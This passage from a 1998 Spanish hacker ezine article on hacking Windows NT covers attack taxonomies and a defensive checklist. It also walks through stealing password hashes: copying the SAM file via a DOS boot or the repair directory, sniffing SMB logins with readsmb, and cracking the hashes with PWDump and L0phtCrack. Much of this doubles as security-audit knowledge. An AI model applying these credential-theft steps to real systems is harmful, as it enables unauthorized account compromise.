-[ 0x0F ]--------------------------------------------------------------------

-[ Hacking NT v 1.0 ]--------------------------------------------------------

-[ by Chessy ]--------------------------------------------------------SET-15-

 

 

 

                          _     _                       __  _____

      /\  /\  __ _   ___ | | __(_) _ __    __ _      /\ \ \/__   \

     / /_/ / / _` | / __|| |/ /| || '_ \  / _` |    /  \/ /  / /\/

    / __  / | (_| || (__ |   < | || | | || (_| |   / /\  /  / /  

    \/ /_/   \__,_| \___||_|\_\|_||_| |_| \__, |   \_\ \/   \/   

                                          |___/                

 

 

__________________________________________________________________________

 

Hacking NT v1.0 por Chessy, 8 de Mayo de 1998.

 

'Remember, before asking a question, always try to answer yourself first'

__________________________________________________________________________

 

Basandome en un esqueleto de texto fruto de la traducci¢n del articulo de la

ezine The Havoc Technical Journal n§ 13,  por WaRsPrItE, y docs del grupo

Rhino9, Technotronic, The Gnome NT Hacking FAQ y diversos  articulos del

CERT, CIAC, listas de distribucion NTBugTraq, BugTraq, NTSecurity, AntiOnline,

Rootshell, ezines  Saqueadores, Phrack, JJFHackers, libros Maximum Security,

Manual  de  Seguridad  de  Windows NT, la  web  de Microsoft sobre seguridad,

el documento  Hardening  NT, articulos  de  seguridad en la revista PC Actual

y cientos de referencias extraidas de la Web. Para mas detallada  informacion

sobre la bibliografia se ha incluido el Apendice A.

 

Copywrong ¸ Chessy'98. All disclaimers applied.

Licencia de uso y distribucion en <disclaim.txt> que acompa¤a al zip de

SET 15.

 

 

Contenido

1. Seguridad en Sistemas Distribuidos basados en Windows NT..........

1.1. ¨Por que preocuparse de la seguridad?.............................

1.1.1. El Crecimiento de Internet vs. Ataques en Internet..................

1.2. ¨Merece la pena el esfuerzo de centrarse en NT?.......................

1.3. Ataques a Windows NT. Una taxonomia de los posibles ataques............

1.4. Defensas en Windows NT. Una taxonomia de las posibles defensas.........

2. Basico. Como y donde conseguir el fichero de passwords...................

2.1.   Accediendo a los passwords...........................................

2.1.1. Volcandolos desde el Registro........................................

2.1.2. Extrayendo los password hashes de un fichero SAM.....................

2.1.3. Usando un Sniffer en la red local....................................

3. Hacking & cracking de passwords. PWDump & L0phtCrack.....................

3.1.   Informacion sobre el volcado de Passwords en NT con la utilidad PWDump.

3.2    Como usar la utilidad PWDump.......................................

3.3.   Como funciona PWDump................................................

3.4.   El codigo fuente de PWDump..........................................

3.5.   Informacion sobre el crackeo de Passwords en NT. La utilidad L0phtcrack

3.5.1. L0phtcrack. Crackeo de passwords con encriptacion LANMAN y/o MD4.....

3.5.2. ¨Por que es tan importante ser capaz de atacar solo claves MD4?.....

3.5.3. Rendimiento de L0phtcrack...........................................

3.5.4. Donde conseguir la herramienta L0phtcrack...........................

4. Introduccion a NetBIOS............................................

4.1. ¨Que es NetBIOS?.......................................................

4.2. Servicio de Nombres en NetBIOS.........................................

4.3. El servicio de 'Session' NetBIOS.......................................

4.4. Datagramas NetBIOS.....................................................

5. Vulnerabilidades NetBios. NAT.....................................

5.1. El comando NBTSTAT.....................................................

5.2. Introduccion a los comandos NET........................................

5.3. Una sesion de ataque NetBIOS mediante el uso de NET VIEW y NET USE.....

5.4. Una sesion de ataque NetBIOS mediante el uso de NAT.EXE................

6. Vulnerabilidades en Internet Information Server (IIS).............

6.1. Entrando por la puerta trasera.........................................

6.2. El ataque Pipe HTTP/FTP................................................

6.3. Otros ataques al IIS...................................................

6.4. Conclusion a los ataques IIS...........................................

7. Ataques tipo D.o.S. (Denial of Service)...........................

       7.1. Ataque OOB......................................................

       7.2. Ataques Teardrop I y II, NewTear, Bonk, Boink...................

       7.3. Ataque Land.....................................................

       7.4. Ataque Smurf....................................................

8. El vulnerable Registro de Windows NT..............................

8.1. ¨Que es el registro?...................................................

8.2. ¨Que son los 'hives'?..................................................

8.3. Los fallos del registro................................................

8.4. Acceso remoto al registro..............................................

9. Spoofing (un ataque comun a otros sistemas).........................

9.1. Introduccion. IP Spoofing & DNS Spoofing...............................

9.1. DNS Spoofing...........................................................

10. Otros ataques via Web...............................................

       10.1. Ataques por JavaScript, VBScript...............................

       10.2. Ataques por vulnerabilidades en los navegadores................

       10.3. Ataques por Java...............................................

       10.4. Ataques por ActiveX............................................

11. Medidas de seguridad Service Pack & HotFix..........................

11.1. Como parchear el sistema. Service Pack & Hot-Fix......................

11.2. Listado de Service Pack 3 & Hot-Fix-post-SP3.....[no incluido]........

12. Escaneadores de puertos TCP/UDP. Paranoic...........................

12.1. El arte del escaneo de puertos TCP....................................

12.2. Introduccion..........................................................

12.3. Tecnicas..............................................................

12.4. ¨Que tecnica usa Paranoic?............................................

13. Apendice A. Bibliografia............................................

14. Apendice B. El fichero de passwords de prueba.......................

15. Apendice C. Los resultados del crackeo de passwords.................

16. Apendice D. Encuesta y perfil de 100 conocidos hackers..............

 

 

 

 

1.  Seguridad en Sistemas Distribuidos basados en Windows NT.

 

1.1. ¨Por que preocuparse de la seguridad?

 

Desde 1990 hasta nuestros dias, el CERT (Computer Emergency Response Team),

un grupo de seguridad internacional especializado en dar respuesta a las

empresas y organizaciones que denuncian ataques informaticos a sus sistemas

de informacion, viene desarrollando una serie de estadisticas y datos que

demuestran que cada dia se registran mas y mas ataques informaticos. No solo

eso; debido al cada vez mayor conocimiento de la tecnologia actual por parte

de los atacantes (hackers) y a las grandes posibilidades de distribucion e

intercambio de la informacion en la propia Internet, estos ataques cada vez

son mas sofisticados, automaticos y dificiles de rastrear. A todo ello se une

el auge que a las puertas del siglo XXI tiene el mundo de la seguridad

informatica.

Cualquier crio de 15 a¤os (script kiddies), sin tener grandes conocimientos,

pero con una potente y estable herramienta de ataque desarrollada por

expertos hackers, es capaz de dejar fuera de servicio cualquier servidor de

informacion de cualquier organismo en Internet, simplemente siguiendo las

instrucciones que acompa¤an la herramienta.

 

Recientemente, hemos visto, escuchado y leido por todos los medios de

comunicacion, noticias sobre la detencion de varios grupos de hackers,

incluido uno espa¤ol (Mentes Inquietas), acusados de haberse infiltrado en

sitios, en principio tan inviolables y bastiones de seguridad, como el

Pentagono o la NASA.

Es evidente que la prensa, radio, television, los gobiernos y los cuerpos de

seguridad del Estado (norteamericano FBI, o espa¤ol Guardia Civil) que

intervinieron en estas detenciones magnifican la noticia en busca de una

audiencia cada vez mas escasa o de un reconocimento de su habilidad. En

ocasiones, ademas, provocan una actitud de desprecio y miedo a uno de los

mayores descubrimientos de la Humanidad, Internet, debido al desconocimiento

de gran parte de esa audiencia de las ventajas (no solo inconvenientes) que

reporta la red de redes.

 

Este estudio no pretende alarmar a nadie ni sembrar la semilla del futuro

hacker, sino servir de informacion a todo aquel minimamente interesado en

proteger su/s sistema/s informatico/s. Evidentemente, la informacion puede ser

aprovechada para fines menos licitos, pero es algo que nunca se podra evitar

y que ciertamente, tampoco me importa. La mayor parte de la buena informacion

sobre seguridad se encuentra en los sitios de grupos de hacking, underground

y cyberpunks que pueblan Internet. Sin su ayuda, este trabajo no hubiera sido

posible, o hubiera bajado muchos puntos de calidad.

 

 

Segun las estadisticas del CERT el numero de incidentes declarados bajo de

2573 en 1996 a 2134 en 1997. Esto puede ser debido a muchas causas, pero no

necesariamente a que haya bajado el numero de ataques:

 

a) Las empresas u organizaciones no se pueden permitir el lujo de denunciar

ataques a sus sistemas, pues el nivel de confianza de los clientes

(ciudadanos) bajaria enormemente. ¨Que pensaria un cliente de un banco si

este declara que cada a¤o sufre 200 ataques informaticos, aunque ninguno de

ellos hubiese terminado exitosamente para el atacante? ¨Que pensarian los

ciudadanos de los EEUU si el Pentagono anunciase cada uno de los cientos de

ataques que sufren a lo largo del a¤o? (Hay que notar que este lugar, es una

de las pruebas de fuego para todo hacker).

 

b) Cada vez mas, los administradores tienen una mayor conciencia respecto de

la seguridad de sus sistemas y arreglan por si mismos las deficiencias

detectadas. A esto hay que a¤adir las nuevas herramientas de seguridad

disponibles en el mercado y las nuevas empresas dedicadas a este tema que

han surgido a lo largo de los a¤os.

 

c) El propio CERT ha tenido que lanzar cada a¤o mas 'advisories' (documentos

explicativos) sobre los nuevos agujeros de seguridad detectados y la forma de

solucionarlos, pasando de 15 advisories y 2 boletines especiales en Diciembre

de 1994 a 28 advisories y 16 boletines en Diciembre de 1997.

 

1.2. ¨Merece la pena el esfuerzo de centrarse en NT?

 

Nada mejor que un nuevo par de estadisticas graficas para demostrar que

efectivamente, Windows NT es un sistema operativo de red (orientado cada vez

mas a Internet) con futuro. Eso si, siempre con el permiso de los nuevos

sistemas operativos Inferno y en especial LiNUX, sistema operativo de red muy

estable y GRATUiTO, que estan adoptando cada vez mas y mas empresas, en

especial aquellas que quieren ofrecer servicios Web, al disponer de un

servidor muy eficiente, estable y gratuito: APACHE. La ventaja de Microsoft

hoy en dia, es que puede ofrecer servicio tecnico, y que muchas empresas

desconfian de una de las mayores ventajas de LiNUX, su gratuidad, ademas de

la facilidad de instalacion de un sistema NT vs. uno LiNUX.

 

[NOTA: Recordad que en esta version ascii no se pueden ver los graficos, para

leer el documento completo y original (version Word) podeis recogerlo en la

web de SET]

 

 

Una nueva nota, que no hace ms que alejar cualquier atisbo de duda:

 

[7-VI-98] PC-Actual n§ 97, Secci¢n Actualidad/Mercado

 

 V Encuesta de Satisfacci¢n de Usuarios de Computing

 

 812 grandes empresas espa¤olas opinan sobre el S.O. utilizado

 

 El semanario europeo de tecnolog¡as de la informaci¢n Computing ha

 publicado recientemente su V encuesta de satisfacci¢n de usuarios,

 realizada por CB Consulting. En ella han participado 812 directores de

 informtica de empresas con una facturaci¢n superior a los 1000 millones

 de pesetas.

 

 Tres sistemas operativos se reparten el favor de los grandes usuarios:

 HP/UX, OS/400 y Windows NT con una cuota de mercado que oscila entre el

 19% del primero y el 15% del ultimo. Eso s¡, la proyecci¢n de NT es

 imparable.El 42% de los encuestados afirm¢ que su sistema operativo

 futuro ser Windows NT, frente a un 12% Unix y un 5'7% HP/UX (OS/400

 ser¡a la elecci¢n futura de un 3'8%).

 

 Ms informaci¢n: http://www.bpe.es/computing

 

 

 

 

1.3. Ataques a Windows NT. Una taxonomia de ataques genericos.

 

Veamos primero una posible taxonomia de los ataques a redes y ordenadores en

general. Del capitulo 6 de la tesis.

 

 

                              Atacantes

 

 

 

Hackers  Espias  Terroristas   Criminales       Vandalos     Espionaje

                               Profesionales    (Crackers)   Industrial

 

 

                            Herramientas

 

 

Linea de  Script o   Agente    Herramientas   Herramientas   Intervencion de

Comandos  Programa   Autonomo  Integradas     Distribuidas   comunicaciones

 

 

                           Metodos de acceso

 

 

Vulnerabilidades     Vulnerabilidades   Vulnerabilidades   Acceso o uso

en implementacion    en dise¤o          en configuracion   no autorizado

 

 

 

Procesa  ---> Flujo de datos | Ficheros

 

 

 

                         Resultados

 

 

Corrupcion de   Revelacion de   Acceso a servicios   Denegacion de

informacion.    informacion     no autorizados       servicios

 

 

                        Objetivos

 

 

        Desafio  Ganancia   Ganancia     Da¤ar

                 Politica   Financiera

 

 

 

 

1.3. Ataques a Windows NT. Una taxonomia de ataques especificos a NT.

 

 

D.O.S (Denegacion de servicio) ===     Teardrop     Land

 

Spoofing  ==     DNS Spoofing     IP Spoofing

 

'Man in the middle'==    Web Spoofing

 

Ataques al registro  ==  L0pthcrack  RedButton

 

Ataques de Red ==        NetBIOS    NAT

 

Ataques de diccionario ==   Ataque via Samba   Ataque via IIS

 

Bugs del sistema NT ==  GetAdmin

 

Ataques a servidores Web. ==  IIS    Bug 8+3

 

Sondeos ==  Puertos  DNS

 

Bugs en la seguridad de las

aplicaciones  ==      Buffer Overflow    FTP Bounce Attack

 

Ataques con

tecnologias Web ==   Bug JavaScript   Bug RadiactiveX

 

Troyanos ==     FPNWCLNT.DLL  MSGINA.DLL ("Graphical   

                                           Identification and Autorization")

 

Ataques Locales ==

        Ataques a las aplicaciones. ==   NTFSDOS.EXE    ROLLBACK.EXE

 

        Sniffers ==  L0phtcrack   Asmodeus

 

 

 

 

1.4. Defensas en Windows NT. Una taxonomia de las posibles defensas.

 

Las posibles acciones correctivas, se presentan aqui a modo de checklist,

debido a que muchas veces, para solucionar distintos tipos de ataque, se

deberian seguir metodos de correccion similares. Por ello, lo ideal seria

repasar una lista generica de chequeo y comprobar que se han intentado todos

los metodos aqui expuestos antes de implicar a organismos como el CERT u

otros relacionados con la seguridad informatica.

 

 

1. Modificar el codigo fuente del programa que falla.

 

2. Filtrado de paquetes (sin necesidad de firewall).

PanelControl/Protocolos/Avanzada.

 

3. Encriptar la informacion que fluye por la red.

 

4. Utilizar otro sistema operativo u otro ordenador.

 

5. Esperar un hotfix de Microsoft (requiere tiempo).

 

6. Configurar bien el firewall (o instalar uno). Como minimo se debe

negar el acceso desde el exterior a los puertos comprendidos entre el

135 y el 139 (NetBIOS) tanto para TCP como UDP.

 

7. Actualizarse a la ultima version del programa/aplicacion vulnerable.

 

8. Deshabilitar los servicios que no se usen (ejemplo: los Simple TCP/IP

Services, como echo, chargen, QOTD,...)

 

9. Instalar el ultimo Service Pack disponible (actualmente el SP3, pero

esta a punto de salir el 4).

 

10. Editar el Registro de NT (regedit, regedt32). Lee el apartado dedicado

a las vulnerabilidades del registro de Windows NT.

 

11. Auditar el sistema (estudiar los logs para identificar al atacante).

 

12. No permitir arranque desde disquete, ni arranque dual (evitando asi el

acceso a los volumenes NTFS).

 

13. Utiliza un escaneador de vulnerabilidades (que no sea de Microsoft)

regularmente, y pasa antivirus siempre que puedas.

 

14. Eliminar el servicio vulnerable (solucion drastica)

 

15. Pedir ayuda en las distintas listas de distribucion, news, IRC, Web

para conseguir mas informacion.

 

16. Usar la version USA de NT para acceder mas rapidamente a los hotfix.

 

17. Lee todas las paginas Web que aparecen en el apendice. Frecuentemente.

 

18. Suscribete a las listas de distribucion que aparecen en el apendice de

este documento y lee los foros de noticias relacionados con la

seguridad que tambien se citan. Diariamente.

 

19. Suscribirse a la pagina de NTBugtraq para recibir actualizaciones de

los nuevos parches 2 horas despues de su publicacion.

 

20. Restringir el acceso al soft/hard del sistema, tanto fisica como

logicamente.

 

21. Consultar todos los documentos y manuales de la aplicacion.

 

22. Configurar adecuadamente los ACL (Access Control List)

 

23. Usar el Kit de Recursos de NT (alguna accion correctiva ya esta

implementada en alguna herramienta de este kit).

 

24. Deshabilitar la posibilidad de conexion remota al servidor en las

workstations de la red.

 

25. Formatear el disco con el modelo NTFS

 

26. Quitar todos permisos de lectura al grupo Everyone del registro.

 

27. Usar el servicio de auditoria que ofrece NT (sobre todo si ofrecemos

servicios Internet)

 

28. Asegurarse de que los ficheros solo tienen permisos de lectura y

ejecucion. Intentar separar los ficheros publicos de los privados.

 

29. Crea una politica restrictiva de passwords con la ayuda del User

Manager.

 

30. Deshabilita la opcion que muestra el ultimo usuario conectado cuando

se inicia una sesion.

 

31. Inserta un banner para cuando un usuario comienza una sesion, que

indique que todas sus acciones seran auditadas. Hazlo si no quieres

perder un juicio seguro (el intruso puede alegar que sus acciones no

podian ser auditadas ­al no habersele avisado antes !)

 

32. Deshabilita el derecho de conexion "Acceso a este ordenador desde la

red" que se le concede a los administradores en los controladores de

dominio.

 

33. Si puedes, deshabilita el servicio de Scheduler (planificador). El

Scheduler puede utilizarse para ejecutar programas con permisos de

sistema.

 

34. Restringe el acceso a ciertos ejecutables que creas peligrosos

(posiblemente CMD.EXE o NTBACKUP.EXE)

 

35. Instala los servidores Web, Ftp, Gopher... TRAS (fuera de) EL

FIREWALL.

 

36. Cambia el nombre de login del 'Administrador'. Si no lo haces, el

intruso siempre podra atacar esta cuenta por medio de un ataque de

diccionario o fuerza bruta.

 

37. Estudia todo lo que puedas sobre como configurar bien un firewall y

las diferentes opciones que existen.

 

38. Lee los logs diariamente. usalos como una guia pero no confies

ciegamente en ellos. No todo lo que ocurre en el ordenador esta en los

logs. Investiga todo lo que consideres extra¤o.

 

 

 

 

Ademas, una vez identificado un ataque/atacante, se pueden llevar a cabo las

siguientes acciones externas:

 

* Medidas contra el intruso:

+ Avisarle

+ Arrestarlo

+ Multarle

 

* Acciones legales contra el intruso:

+ Tracear

+ Investigar

+ Contratar un servicio secreto

+ Enjuiciar

+ Llamar a la policia

 

 

 

Para finalizar, nunca te dejes llevar por el panico, pero se paranoico.

Tomate todos los eventos relacionados con la seguridad y todos los indicios

de ataque seriamente, y cuando estes seguro de que algo raro pasa y no puedas

resolverlo por tu cuenta, contacta con el CERT y/o con el grupo de seguridad

de Microsoft

 

 

2. Basico. Como y donde conseguir el fichero de passwords.

 

2.1. Accediendo a los passwords.

 

Antes de que los passwords puedan ser procesados (crackeados), necesitas

conseguir los password hashes (trozos de password encriptados pero en formato

texto ASCII, los 'password hashes' en jerga anglosajona). Principalmente,

existen 3 metodos: directamente del registro, de un fichero SAM en disco o

mediante el uso de un sniffer.

 

2.1.1. Volcandolos desde el Registro.

 

Si tienes privilegios de administrador puedes conseguir los passwords

encriptados usando la opcion "Tools Dump Passwords from Registry' de la

utilidad L0phtcrack (comentada en el capitulo III).

Especifica el nombre de un ordenador o la direccion IP con el formato tipico

de MS \\nombre_ordenador o \\direccion_IP. Sin embargo, NT puede ser

configurado para prohibir el acceso al registro de forma remota a traves de

la red, por lo que necesitaras estar conectado de forma local a la maquina

que quieras hackear. Ademas Microsoft ha introducido la utilidad SYSKEY en

el Service Pack 3 de Windows NT. Si esta utilidad esta ejecutandose en el

sistema objetivo los password hashes estaran encriptados y no podran ser

extraidos de esta manera.

 

Si usas la version espa¤ola de NT, la palabra Administrator se cambia por

Administrador; debido a esto, es necesario modificar una clave del registro

para conseguir que la opcion 'Dump Passwords' funcione. Ejecuta regedit.exe y

edita el valor de la siguiente clave:

 

 

HKEY_CURRENT_USER\Software\L0pht\L0phtCrack\AdminGroupName

 

Inicializala al valor 'Administrador'.

 

2.1.2. Extrayendo los password hashes de un fichero SAM.

 

El siguiente metodo es una novedad de la version L0phtCrack 2.0. Puedes

extraer los password hashes del fichero SAM del disco duro, del Disco de

Reparacion de Emergencia de NT o de una cinta de backup. El Registro de NT

actualmente esta almacenado en diferentes ficheros del disco de sistema, en

el directorio d:\winnt\system32\config.

 

 

No se puede acceder a estos ficheros mientras NT este ejecutandose dado que

estan abiertos en exclusiva por el sistema operativo. Si tienes acceso fisico al

sistema, puedes arrancar el ordenata con un disquete DOS y usar un programa

como NTFSDOS (que puede conseguirse en http://www.ntinternals.com/ntfs20r.zip)

para copiar el fichero SAM de d:\winnt\system32\config a un disquete. Despues

puedes usar el comando 'File Import SAM' para extraer los password hashes del

fichero que acabas de conseguir.

 

 

Otro lugar donde encontrar el fichero SAM que no requiere rebotar la maquina

es en el directorio d:\winnt\repair o en el disco de Rescate de Emergencia.

Cada vez que se hace un disco de rescate, los contenidos de la rama SAM del

registro son salvados y comprimidos en el fichero 'sam._'. Este fichero puede

ser descomprimido con el comando:

 

expand sam._ sam

 

El fichero SAM descomprimido puede ser importado por L0phtCrack.

 

El fichero SAM tambien es guardado en las cintas de copia de seguridad cuando se

hace un backup del sistema. Si tienes acceso a una cinta de backup, puedes

restaurar el fichero SAM de d:\winnt\system32\config a otra maquina e

importarlo en L0phtCrack.

 

Si la utilidad SYSKEY del SP3 de NT 4.0 esta instalada, todos los ficheros

SAM estan encriptados y no podran ser leidos por L0phtCrack.

 

2.1.3. Usando un Sniffer en la red local.

 

Si esta instalado SYSKEY y no tienes ni acceso remoto ni acceso fisco, existe

otra posibilidad para obtener los password hashes: usar un sniffer. Esto

requiere que tu ordenador este en el mismo segmento de red que el objetivo de

nuestro ataque. El sniffer incluido con L0phtCrack 2.0, readsmb.exe, solo

funcionara en Windows NT 4.0. Antes hay que instalar un driver de red NDIS

(si sigues las instrucciones de instalacion del programa no tendras ningun

problema.)

 

El sniffer es un programa con interfaz de linea de comandos (ventana MSDOS)

llamado readsmb.exe. Ejecutalo y redirige su salida a un fichero con el

comando:

 

readsmb > passwd

 

Si lo dejas un dia o mas ejecutandose, seguro que recolectas suficientes

passwords. Despues puedes abrir el fichero generado con el comando 'File Open'

de L0phtCrack.

 

 

 

 

3. Hacking & cracking de passwords en NT. PWDump & L0phtCrack.

 

Lo primero de todo, me gustaria decir que creo que la conjuncion de 'PWDump'

con 'L0phtCrack' es una excelente herramienta de seguridad para chequear la

seguridad de redes basadas en Windows NT. Sin embargo, de la misma manera que

ocurria con el ahora famoso y sobrevalorado 'SATAN', no es la llave maestra

de ninguna red NT.

 

Como siempre digo en todos los articulos que escribo, la clave siempre esta

en lo mas basico. Si los usuario eligen buenos passwords, sera practicamente

imposible crackearlos. Por ejemplo, si cuando eliges un password, usas tanto

mayusculas como minusculas y numeros, existen 1.240176943466 x 10(25) posibles

combinaciones. Ahora ­a¤adele alguna puntuacion decimal a ese numerito!

Recuerda que en NT el password puede ser hasta de 14 caracteres, a diferencia de

los 8 unicos caracteres que se pueden elegir en los sistemas UNIX. No hace

falta decir que los ataques de fuerza bruta son inabordables ante un password

bien elegido en cualquiera de los dos sistemas.

 

Los dos programas que se suelen usar para atacar los passwords en NT son

L0phtCrack y PWDump. Debo decir que PWDump [escrito por Jeremy Allison,

jra@cygnus.com, para el proyecto SAMBA] funciona muy bien.  Siempre que tengas

privilegios de administrador. Pero, entonces, ­¨por que usarlo para propositos

de hacking?! Porque trabaja con cualquier copia del registro.

Asi, cualquier copia de seguridad del servidor que quieras piratear puede

tener una copia del registro del sistema.  El ejemplo del hackeo del servidor

NT que se muestra en este documento fue gracias a la ineficacia del

administrador del sistema, el cual permitia a los usuarios de Dominio

conectarse de forma local en el servidor. Durante la instalacion del sistema,

NT pregunta si quieres realizar un disco de rescate (rdisk.exe) y la eleccion

por defecto es "Si". Cada vez que ejecutas rdisk.exe, NT guarda una copia del

registro en %SystemRoot%\Repair (donde %SystemRoot% es el directorio del

sistema, normalmente d:\winnt ). Y los permisos por defecto de ese directorio

son de "lectura" para todos los usuarios.

 

Ahora ya es muy sencillo conseguir una copia del registro. El unico

problema es que todos los passwords que hayan sido cambiados desde la ultima

vez que se ejecuto rdisk.exe no funcionaran (evidentemente, pero este es un

problema menor). Ahora que disponemos de una copia del registro, como podemos

extraer de ella la rama de los passwords? Bien, busca una maquina NT de la

cual seas "Administrador", y ejecuta PWDump.exe (normalmente, se suele tener

una copia de NT en el ordenador de casa para experimentar ahi antes de llevar

los ataques a la practica). PWDump.exe volcara toda la informacion de los

passwords contenida en el registro a un fichero de texto. Despues de eso es

muy sencillo, solo falta ejecutar L0phtCrack.exe con tu diccionario de

palabras favorito o usar el programa en modo de fuerza bruta. Llevo 6 dias en

un Pentium 133 conseguir 3 cuentas (con la rev. 1.0). Sorprendentemente, eran

passwords de 6 caracteres de longitud, osea, muy pobremente elegidos.

 

Para mas info sobre como y donde conseguir el fichero de passwords, ver el

capitulo II.

 

 

3.1. Informacion sobre el volcado de Passwords en NT con la utilidad PWDump.

 

Esta util herramienta es capaz de volcar la base de datos de los passwords

almacenados en una maquina NT, localizada en el registro de NT (bajo la rama

HKEY_LOCAL_MACHINE\SECURITY\SAM\Domains\Account\Users) in un fichero con

formato smbpasswd. Esta funcionalidad esta dise¤ada para ayudar a los

administradores de maquinas UNIX con capacidad de compartir ficheros e

impresoras con maquinas NT mediante el programa Samba (como puede hacerse con

LiNUX). Estos administradores a menudo necesitan sincronizar (sync) la base

de datos maestra de un su sistema NT, donde guardan una copia de todos los

passwords, con el fichero de passwords smbpasswd del servidor UNIX/Samba.

 

Esta utilidad vuelca, con el siguiente formato, las entradas de passwords del

sistema NT:

 

<user>:<id>:<lanman pw>:<NT pw>:comment:homedir:

 

Donde <user> es el nombre de usuario en Windows NT, <id> es el RID de Windows

NT (ID relativo) - el ultimo componente de 32 bits del SID de los usuarios de

Windows NT, <lanman pw> es el hash del password del usuario usando

codificacion lanman, <NT pw> es el hash del password del usuario usando

codificacion md4 -notese que si el usuario no tiene password este sera

volcado como la cadena de caracteres 'NO PASSWORD*****', si la cuenta esta

deshabilitada o no es valida, se volcaran 32 asteriscos '*'. El apartado

:comment es una concatenacion del nombre completo del usuario en Windows NT y

el campo de descripcion en el programa user-manager de Windows NT. El homedir

(directorio raiz del usuario) por desgracia, no puede contener caracteres ':',

dado que estos son usados como separadores de campo en el fichero smbpasswd

(como en UNIX). Por eso, todos los caracteres ':' que vengan tras los

caracteres que identifiquen las unidades de disco son volcados como

caracteres de subrayado '_'.

 

3.2. Como usar la utilidad PWDump.

 

Solo como una sugerencia, recomendaria volcar los passwords de tus maquinas

NT y despues crear usuarios UNIX normales  (en /etc/passwd) con los mismos

numeros de cuenta UNIX que sus RID en NT - esto hara que replicar el fichero

smbpasswd sea una tarea mas sencilla un poco mas tarde. Estas cuentas

/etc/passwd podrian tener las entradas de password deshabilitadas,

prohibiendo asi a los usuarios NT conectarse al servidor UNIX mendiante una

sesion telnet (esto es algo similar a quitar el permiso 'Conectarse de forma

local' en un servidor NT). El fichero smbpasswd creado podria copiarse luego

al fichero $SAMBA/private/smbpasswd (donde $SAMBA es el directorio raiz de la

instalacion Samba). Si Samba esta configurado para seguridad a nivel usuario

y encriptacion de passwords (inicializa la siguiente variable:

 

security = user encrypted passwords = yes

 

en tu fichero smb.conf) entonces los usuarios de Windows NT/95 conectados al

dominio NT seran capaces de acceder de manera transparente a los recursos en

la maquina Samba dado que disponen de un id de usuario UNIX correcto

(el mismo que acabas de crear). Despues puedes configurar un trabajo 'AT' en

el servidor NT para volcar periodicamente la base de datos de los passwords

en nuevo fichero smbpasswd y sobreescribirlo en el servidor Samba para

mantener las bases de datos de passwords de los dos servidores sincronizadas.

 

La utilidad PWDump.exe puede tomar como argumento un \\nombre_de_maquina,

procediendo al volcado de la base de datos con los passwords de dicha maquina

en lugar de la maquina local, siempre y cuando se dispongan de los suficientes

privilegios para hacerlo. Por defecto, siempre volcara la base de datos con

los passwords de la maquina local.

 

NOTA: Los passwords volcados por esta utilidad son equivalentes a los

'passwords en texto ASCII' del protocolo CIFS y deben ser protegidos. La

seguridad UNIX en el fichero smbpasswd debe ser inicializada de la siguiente

forma:

Owner root, permisos rw------- , es decir, lectura/escritura para el

propietario del fichero, (como hemos dicho, sera el root) y ningun tipo de

acceso al resto del mundo.

 

 

3.3. Como funciona PWDump.

 

 

Esta utilidad se esfuerza por mantener la seguridad en NT dado que enreda con

las ramas SAM del registro NT. Ademas, nunca se ejecutara si no posees permisos

de Administrador. Primeramente, PWDump realiza los minimos cambios necesarios

para permitir al programa leer las entradas de passwords. Vuelca todas las

entradas de los usuarios (analiza el codigo fuente para los detalles) y

despues vuelve sobre sus pasos para restaurar en el registro todas las

caracteristicas de seguridad de todas las claves que ha tocado. He testeado

este codigo en un servidor y una estacion de trabajo NT 4.0 y nunca he tenido

problemas, pero como siempre, este codigo no tiene ninguna garantia.

 

 

3.4. El codigo fuente de PWDump.

 

El codigo fuente para esta utilidad puede encontrarse en:

 

ftp://samba.anu.edu.au/pub/samba/PWDump/PWDump.c

 

Observese que este codigo necesita una libreria de encriptacion DES para

compilar. La que he usado para este documento ha sido la excelente libreria

DES de Eric Young que se puede encontrar en:

 

ftp://ftp.psy.uq.oz.au/pub/Crypto/DES/libdes-4.01.tar.gz

 

que compila bien bajo Windows NT. Use Microsoft Visual C++ 4.x

como entorno de compilacion. El codigo binario PWDump.exe tambien se puede

encontrar en las paginas Web del proyecto Samba para aquellos que no dispongan

de un compilador. El ejecutable es para plataformas x86 gobernadas por NT.

 

 

3.5. Informacion sobre el crackeo de Passwords en NT. La utilidad L0phtcrack.

 

El grupo de hackers L0pht, concretamente mudge@l0pht.com y weld@l0pht.com ,

libero el 10 de Abril de 1997 la primera revision de la utilidad L0phtcrack,

demostrando como crackear un password en NT. ( En los primeros meses de 1998, se

libero la ultima version, la 2.0. que se puede descargar de

http://www2.l0pht.com/users/10pht/lc2exe.zip )

 

Recuperando la salida de passwords en formato LANMAN o en el dialecto de

encriptacion MD4 de Windows NT que volcaba 'PWDump' desde la rama SAM del

registro, era capaz de descifrar bien por fuerza bruta o por ataques de

diccionario los passwords que se le presentaran como entrada.

 

Usando la salida de 'PWDump' y un diccionario, L0phtcrack es capaz de obtener:

 

1) solo los passwords LANMAN desencriptados

2) solo los passwords en el dialecto MD4 de NT desencriptados

3) tanto los passwords LANMAN como los MD4 (derivando los passwords MD4 de

la salida LANMAN y probando a traves de las 2 a la N permutaciones).

 

Tambien es posible usar el metodo de fuerza bruta y probar con todo el espacio

de claves, recuperando todos los passwords de usuario de hasta 14 caracteres

(recuerdese que el cuadro de dialogo de conexion de usuarios en Windows NT

solo permite claves de 14 caracteres de longitud.)

 

L0phtcrack puede ser usado ademas de 3 maneras diferentes:

 

1) Mediante un entorno grafico tipico de Windows.

2) Mediante un interface de linea de comandos (MS-DOS)

3) Modificando el codigo fuente, que viene junto con el programa

ejecutable.

 

Para una completa descripcion de como funciona la encriptacion LANMAN y MD4,

consultar los excelentes documentos disponibles via web en

www.ntbugtraq.com/Contributions/SAMAttack.asp

www.ntbugtraq.com/Contributions/samfaq.asp

 

3.5.1. L0phtcrack. Crackeo de passwords con encriptacion LANMAN y/o MD4.

 

LANMAN

 

Pasando como parametro un diccionario, cada palabra sera encriptada usando el

formato LANMAN con una pasada DES. A continuacion, la lista de usuarios se

chequea contra esta palabra encriptada. Cualquier coincidencia sera

presentada como un exito.

 

MD4

 

Pasando como parametro un diccionario, cada palabra sera encriptada usando MD4.

La lista de usuarios se chequea contra esta palabra encriptada y se marcaran

las coincidencias.

 

 

LANMAN y MD4

 

Pasando como parametro un diccionario, cada usuario sera contrastado

contra la encriptacion de cada palabra usando el formato LANMAN con una

pasada DES. Si se encuentra una coincidencia, la palabra se encripta con las

2 elevado a la longitud(palabra) permutaciones de mayusculas/minusculas

posibles en MD4, para devolver el valor MD4 sensible a mayusculas/minusculas.

 

Fuerza bruta

 

Pasandole al programa una cadena con la lista de todos los caracteres validos

